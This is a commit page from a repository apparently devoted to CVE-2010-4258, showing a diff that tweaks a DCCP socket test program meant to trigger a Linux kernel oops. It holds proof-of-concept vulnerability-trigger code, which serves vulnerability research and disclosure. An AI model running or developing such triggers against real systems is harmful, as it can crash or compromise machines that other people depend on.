summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-03-09 12:46:34 -0500
committerJason A. Donenfeld <Jason@zx2c4.com>2011-03-09 12:46:34 -0500
commit4fb52b716429c66de2b55f8bfe23008fdd9da62e (patch)
treeb9f1595fbd44730e366bb8ea32d230ad809943ba
parentDual shutdown. (diff)
downloadCVE-2010-4258-4fb52b716429c66de2b55f8bfe23008fdd9da62e.tar.xz
CVE-2010-4258-4fb52b716429c66de2b55f8bfe23008fdd9da62e.zip
Usleep
-rw-r--r--dccp_test.c22
1 files changed, 4 insertions, 18 deletions
diff --git a/dccp_test.c b/dccp_test.c
index 5e69af9..786f869 100644
--- a/dccp_test.c
+++ b/dccp_test.c
@@ -43,21 +43,13 @@ int main()
perror(NULL);
return -1;
}
- if (shutdown(client, SHUT_RDWR) < 0) {
+ if (close(client) < 0) {
printf("[-] Could not close connection.\n");
perror(NULL);
return -1;
}
- /*sleep(1);
- char buf[512];
- if (recv(client, buf, 512, 0) < 0) {
- printf("[-] Could not recv.\n");
- perror(NULL);
- return -1;
- }
- printf("[-] Received junk: %s\n", buf);*/
} else {
- sleep(1);
+ usleep(100);
int hello = socket(PF_INET, SOCK_DCCP, IPPROTO_DCCP);
if (hello < 0) {
printf("[-] Could not open connector.\n");
@@ -75,17 +67,11 @@ int main()
perror(NULL);
return -1;
}
- if (shutdown(hello, SHUT_RDWR) < 0) {
+ if (close(hello) < 0) {
printf("[-] Could not close connection.\n");
perror(NULL);
return -1;
- }/*
- char junk[] = "sending my l33t shit yo way";
- if (send(hello, junk, sizeof(junk), 0) < 0) {
- printf("[-] Failed to send the junk.\n");
- perror(NULL);
- return -1;
- }*/
+ }
}
printf("[-] Connection did not trigger oops.\n");